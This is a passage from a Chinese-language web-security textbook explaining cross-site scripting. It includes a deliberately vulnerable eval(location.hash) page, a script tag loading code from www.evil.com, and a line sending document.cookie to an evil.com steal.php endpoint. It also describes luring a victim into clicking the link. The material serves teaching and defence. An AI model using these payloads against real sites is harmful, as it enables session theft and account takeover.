Question

XSS即跨站脚本，发生在目标网站中目标用户的浏览器层面上，当用户浏览器熏染整个HTML文档的过程中出现了不被预期的脚本指令并执行时，XSS就会发生。

这句话的关键点有以下三个。

· 目标网站的目标用户：这里强调了场景。

· 浏览器：因为这类攻击是由浏览器来解析执行的。浏览器当然不会看到什么就解析什么，它们会严格执行共同约定的同源策略，不符合约定的就不会执行。

· 不被预期的：那么就很可能是攻击者在输入时提交了可控的脚本内容，然后在输出后被浏览器解析执行。

这个过程其实是包括XSS漏洞挖掘与漏洞利用的，这两个同等重要。

3.1.1　“跨站脚本”重要的是脚本

跨站脚本的重点不在“跨站”上，而应该在“脚本”上，这是从字面上来分析的。因为这个“跨”实际上属于浏览器的特性，而不是缺陷，造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源，这样做是有原因的，我们知道，任何安全问题都有“输入”的概念，很多时候输入的内容长度是有限制的。真正的XSS攻击弹出窗毫无意义，所以攻击代码可能会比较长，一般会注入类似下面的代码来引用第三方域上的脚本资源：

<script src="http://www.evil.com/xss.js"></script>

这样的好处还有一个：攻击代码容易控制。实际上，script标签可以嵌入第三方资源，这是浏览器允许的，对于嵌入的脚本内容，会与本域的脚本内容一样，在整个脚本上下文环境中存在。对于上面这个例子，虽然xss.js的文件资源在www.evil.com上，但脚本内容却属于嵌入对象所在的浏览器上下文环境中。换句通俗的话说：人在你那里，但是心在我这里，战场就在我这里。

那么战场在这里，怎么玩就是脚本的事了，只要不逃离该战场，那么脚本几乎可以做任何战场上可做的事（就是这个场景中有的各种功能）。比如，盗取用户身份认证信息、篡改用户数据等。

而有的时候，并不按照浏览器允许的策略执行（同源策略），那这就是一次真正意义上的跨站了。为了区分它们，通常叫做跨域脚本，突破的是浏览器同源策略。

3.1.2　一个小例子

有了这些概念后，下面看看1.1节“数据与指令”的这个例子：

<script>
eval(location.hash.substr(1));
</script>

将上面这段内容保存为xssme.html，然后用浏览器打开，如图3-1所示。

图3-1　xssme.html

我们看到，直接打开将什么都不显示，如果这是目标网站的页面，如何执行我们自己构造的脚本以触发XSS攻击？看代码其实很容易知道，eval动态执行的是location.hash中的值，也就是地址栏URL最后跟着的#xxx这段内容，比如，我们按图3-2所示的执行请求。

图3-2　xssme.html弹出窗

这里弹出一个框，因为在浏览器解析执行JavaScipt时，最终执行的是：

eval('alert(1)');

真实的攻击中，我们需要替换alert(1)这样的脚本为真正有杀伤力的脚本内容，这就是漏洞利用过程中需要仔细考虑的事。如前面提到的经常会加载第三域的脚本资源，比如：

http://www.foo.com/xssme.html#docu-ment.write("<script/src=//www.evil.com/alert.js></script>")

这样我们可以将更多的XSS利用代码放在www.evil.com上的alert.js文件中，非常方便。都准备充足后，将这个链接发给目标用户，并欺骗其点击，目标用户的浏览器就会开始执行我们构造的恶意脚本，比如，一段盗取用户Cookie的脚本：

new Image().src="http://www.evil.com/steal.php?data="+escape(document. cookie);

攻击发生后，目标用户的Cookie信息就会被盗取，然后攻击者就可以利用该Cookie控制目标用户的账号权限。

这仅仅是一个简单的例子，真实的情况不会那么顺利。比如，Chrome浏览器XSS Filter防御可能会导致这样的利用无法成功，而其他浏览器却可以。如何通杀所有浏览器的利用是真实攻击中需要考虑的，我们将在第6章“漏洞挖掘”中有进一步的分析。还有盗取来的Cookie并不一定可以控制目标用户的账号权限，等等。所以，XSS的整个过程中，从漏洞挖掘到漏洞利用，再到进一步利用，各环节都需要看场景，场景通常包括网站对象、浏览器对象、攻击用户对象等。

总之，我们可以通俗地总结XSS为：想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。